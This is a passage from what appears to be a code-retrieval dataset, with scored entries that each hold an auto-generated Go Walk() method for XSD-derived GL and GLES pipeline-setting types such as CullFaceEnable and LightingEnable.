{\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.BlendEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "a1b66acc75957adf0d6f431c9b093268", "score": "0.6493937", "text": "func (me *XsdGoPkgHasElem_clip_plane_enablechoicegl_pipeline_settingsschema_ClipPlaneEnable_TxsdGlPipelineSettingsChoiceClipPlaneEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_clip_plane_enablechoicegl_pipeline_settingsschema_ClipPlaneEnable_TxsdGlPipelineSettingsChoiceClipPlaneEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.ClipPlaneEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "1a780af2c8737c1f7d88c529856f109b", "score": "0.6482223", "text": "func (me *XsdGoPkgHasElem_clip_plane_enablechoicegles_pipeline_settingsschema_ClipPlaneEnable_TxsdGlesPipelineSettingsChoiceClipPlaneEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_clip_plane_enablechoicegles_pipeline_settingsschema_ClipPlaneEnable_TxsdGlesPipelineSettingsChoiceClipPlaneEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.ClipPlaneEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "9e31c2ab4d457ff578f3b9e3e2ced67b", "score": "0.64432186", "text": "func (me *XsdGoPkgHasElem_dither_enablechoicegl_pipeline_settingsschema_DitherEnable_TxsdGlPipelineSettingsChoiceDitherEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_dither_enablechoicegl_pipeline_settingsschema_DitherEnable_TxsdGlPipelineSettingsChoiceDitherEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.DitherEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "96f529ac734b199c88907c9b81064eb3", "score": "0.641333", "text": "func (me *XsdGoPkgHasElem_normalize_enablechoicegl_pipeline_settingsschema_NormalizeEnable_TxsdGlPipelineSettingsChoiceNormalizeEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_normalize_enablechoicegl_pipeline_settingsschema_NormalizeEnable_TxsdGlPipelineSettingsChoiceNormalizeEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.NormalizeEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "9e40acb7e7c398f4a6c6b4895c8d2bac", "score": "0.64046276", "text": "func (me *XsdGoPkgHasElem_depth_bounds_enablechoicegl_pipeline_settingsschema_DepthBoundsEnable_TxsdGlPipelineSettingsChoiceDepthBoundsEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_depth_bounds_enablechoicegl_pipeline_settingsschema_DepthBoundsEnable_TxsdGlPipelineSettingsChoiceDepthBoundsEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.DepthBoundsEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "001967710326e18aaa58cc0b221c5e7d", "score": "0.63851875", "text": "func (me *XsdGoPkgHasElem_cull_face_enablechoicegles_pipeline_settingsschema_CullFaceEnable_TxsdGlesPipelineSettingsChoiceCullFaceEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_cull_face_enablechoicegles_pipeline_settingsschema_CullFaceEnable_TxsdGlesPipelineSettingsChoiceCullFaceEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.CullFaceEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "8fed7016f873df5fc5ab896fd5904d53", "score": "0.63711834", "text": "func (me *XsdGoPkgHasElem_cull_face_enablechoicegl_pipeline_settingsschema_CullFaceEnable_TxsdGlPipelineSettingsChoiceCullFaceEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_cull_face_enablechoicegl_pipeline_settingsschema_CullFaceEnable_TxsdGlPipelineSettingsChoiceCullFaceEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.CullFaceEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "bdb55f8948e3d9b10738fe91f04a493c", "score": "0.63483113", "text": "func (me *XsdGoPkgHasElem_normalize_enablechoicegles_pipeline_settingsschema_NormalizeEnable_TxsdGlesPipelineSettingsChoiceNormalizeEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_normalize_enablechoicegles_pipeline_settingsschema_NormalizeEnable_TxsdGlesPipelineSettingsChoiceNormalizeEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.NormalizeEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "cf3b450b3efd92d825ad2b917f4aadfa", "score": "0.627298", "text": "func (me *XsdGoPkgHasElem_point_smooth_enablechoicegles_pipeline_settingsschema_PointSmoothEnable_TxsdGlesPipelineSettingsChoicePointSmoothEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_point_smooth_enablechoicegles_pipeline_settingsschema_PointSmoothEnable_TxsdGlesPipelineSettingsChoicePointSmoothEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PointSmoothEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "7040759cd9a4c6dc8700db364389ad36", "score": "0.62307096", "text": "func (me *XsdGoPkgHasElem_line_stipple_enablechoicegl_pipeline_settingsschema_LineStippleEnable_TxsdGlPipelineSettingsChoiceLineStippleEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_line_stipple_enablechoicegl_pipeline_settingsschema_LineStippleEnable_TxsdGlPipelineSettingsChoiceLineStippleEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LineStippleEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "a453e3a132326d1a47f5b862604758b4", "score": "0.6194217", "text": "func (me *XsdGoPkgHasElem_polygon_stipple_enablechoicegl_pipeline_settingsschema_PolygonStippleEnable_TxsdGlPipelineSettingsChoicePolygonStippleEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_polygon_stipple_enablechoicegl_pipeline_settingsschema_PolygonStippleEnable_TxsdGlPipelineSettingsChoicePolygonStippleEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PolygonStippleEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "5554ee392d5744a363742011f8183ef3", "score": "0.61846334", "text": "func (me *XsdGoPkgHasElem_color_material_enablechoicegles_pipeline_settingsschema_ColorMaterialEnable_TxsdGlesPipelineSettingsChoiceColorMaterialEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_color_material_enablechoicegles_pipeline_settingsschema_ColorMaterialEnable_TxsdGlesPipelineSettingsChoiceColorMaterialEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.ColorMaterialEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "0e98869de930ce4b33a8ace0a826d7ca", "score": "0.6181889", "text": "func (me *XsdGoPkgHasElem_point_smooth_enablechoicegl_pipeline_settingsschema_PointSmoothEnable_TxsdGlPipelineSettingsChoicePointSmoothEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_point_smooth_enablechoicegl_pipeline_settingsschema_PointSmoothEnable_TxsdGlPipelineSettingsChoicePointSmoothEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.PointSmoothEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "a3d329b4f9632bfbdadb8757989f2aec", "score": "0.6180888", "text": "func (me *XsdGoPkgHasElem_lighting_enablechoicegles_pipeline_settingsschema_LightingEnable_TxsdGlesPipelineSettingsChoiceLightingEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_lighting_enablechoicegles_pipeline_settingsschema_LightingEnable_TxsdGlesPipelineSettingsChoiceLightingEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LightingEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "970880cd62f8b42a473f0490fb8cb4ad", "score": "0.6166922", "text": "func (me *XsdGoPkgHasElem_dither_enablechoicegles_pipeline_settingsschema_DitherEnable_TxsdGlesPipelineSettingsChoiceDitherEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_dither_enablechoicegles_pipeline_settingsschema_DitherEnable_TxsdGlesPipelineSettingsChoiceDitherEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.DitherEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "8822e7264df564f2833ea135a5d72e48", "score": "0.6133949", "text": "func (me *XsdGoPkgHasElem_color_logic_op_enablechoicegles_pipeline_settingsschema_ColorLogicOpEnable_TxsdGlesPipelineSettingsChoiceColorLogicOpEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_color_logic_op_enablechoicegles_pipeline_settingsschema_ColorLogicOpEnable_TxsdGlesPipelineSettingsChoiceColorLogicOpEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.ColorLogicOpEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "fd6f742612e3536f8ffd68134c94b729", "score": "0.6129646", "text": "func (me *XsdGoPkgHasElem_textureCUBE_enablechoicegl_pipeline_settingsschema_TextureCUBEEnable_TxsdGlPipelineSettingsChoiceTextureCUBEEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_textureCUBE_enablechoicegl_pipeline_settingsschema_TextureCUBEEnable_TxsdGlPipelineSettingsChoiceTextureCUBEEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.TextureCUBEEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "7d1b2293869d7da6163858282b18a139", "score": "0.61195296", "text": "func (me *XsdGoPkgHasElem_light_enablechoicegles_pipeline_settingsschema_LightEnable_TxsdGlesPipelineSettingsChoiceLightEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_light_enablechoicegles_pipeline_settingsschema_LightEnable_TxsdGlesPipelineSettingsChoiceLightEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LightEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "92faf8dfbcfdac1d20ae1412f461698d", "score": "0.61054474", "text": "func (me *XsdGoPkgHasElem_auto_normal_enablechoicegl_pipeline_settingsschema_AutoNormalEnable_TxsdGlPipelineSettingsChoiceAutoNormalEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_auto_normal_enablechoicegl_pipeline_settingsschema_AutoNormalEnable_TxsdGlPipelineSettingsChoiceAutoNormalEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.AutoNormalEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "cbc326b26a069b81df67e2e933f85f40", "score": "0.6101897", "text": "func (me *XsdGoPkgHasElem_lighting_enablechoicegl_pipeline_settingsschema_LightingEnable_TxsdGlPipelineSettingsChoiceLightingEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_lighting_enablechoicegl_pipeline_settingsschema_LightingEnable_TxsdGlPipelineSettingsChoiceLightingEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LightingEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "f39bf5c84ebb2528d22b441d116295f7", "score": "0.6080879", "text": "func (me *XsdGoPkgHasElem_light_model_two_side_enablechoicegl_pipeline_settingsschema_LightModelTwoSideEnable_TxsdGlPipelineSettingsChoiceLightModelTwoSideEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_light_model_two_side_enablechoicegl_pipeline_settingsschema_LightModelTwoSideEnable_TxsdGlPipelineSettingsChoiceLightModelTwoSideEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LightModelTwoSideEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "b1b72c23e8f587e0353d7dcdb595e002", "score": "0.60803306", "text": "func (me *XsdGoPkgHasElem_color_logic_op_enablechoicegl_pipeline_settingsschema_ColorLogicOpEnable_TxsdGlPipelineSettingsChoiceColorLogicOpEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_color_logic_op_enablechoicegl_pipeline_settingsschema_ColorLogicOpEnable_TxsdGlPipelineSettingsChoiceColorLogicOpEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.ColorLogicOpEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "d82baf068b8174986c44d75caceff852", "score": "0.6057428", "text": "func (me *XsdGoPkgHasElem_color_material_enablechoicegl_pipeline_settingsschema_ColorMaterialEnable_TxsdGlPipelineSettingsChoiceColorMaterialEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_color_material_enablechoicegl_pipeline_settingsschema_ColorMaterialEnable_TxsdGlPipelineSettingsChoiceColorMaterialEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.ColorMaterialEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "98da229b727e71dfd250e61a58a21afa", "score": "0.60484916", "text": "func (me *XsdGoPkgHasElem_logic_op_enablechoicegl_pipeline_settingsschema_LogicOpEnable_TxsdGlPipelineSettingsChoiceLogicOpEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_logic_op_enablechoicegl_pipeline_settingsschema_LogicOpEnable_TxsdGlPipelineSettingsChoiceLogicOpEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LogicOpEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "3bf089c6e3abffca65fa70ffa99472fe", "score": "0.60273606", "text": "func (me *XsdGoPkgHasElem_rescale_normal_enablechoicegl_pipeline_settingsschema_RescaleNormalEnable_TxsdGlPipelineSettingsChoiceRescaleNormalEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_rescale_normal_enablechoicegl_pipeline_settingsschema_RescaleNormalEnable_TxsdGlPipelineSettingsChoiceRescaleNormalEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.RescaleNormalEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": "53dacc7c4cdef3beb113a224192ffd29", "score": "0.60271436", "text": "func (me *XsdGoPkgHasElem_light_enablechoicegl_pipeline_settingsschema_LightEnable_TxsdGlPipelineSettingsChoiceLightEnable_) Walk() (err error) {\r\n\tif fn := WalkHandlers.XsdGoPkgHasElem_light_enablechoicegl_pipeline_settingsschema_LightEnable_TxsdGlPipelineSettingsChoiceLightEnable_; me != nil {\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, true); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t\tif err = me.LightEnable.Walk(); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\treturn\r\n\t\t}\r\n\t\tif fn != nil {\r\n\t\t\tif err = fn(me, false); xsdt.OnWalkError(&err, &WalkErrors, WalkContinueOnError, WalkOnError) {\r\n\t\t\t\treturn\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn\r\n}", "title": "" }, { "docid": 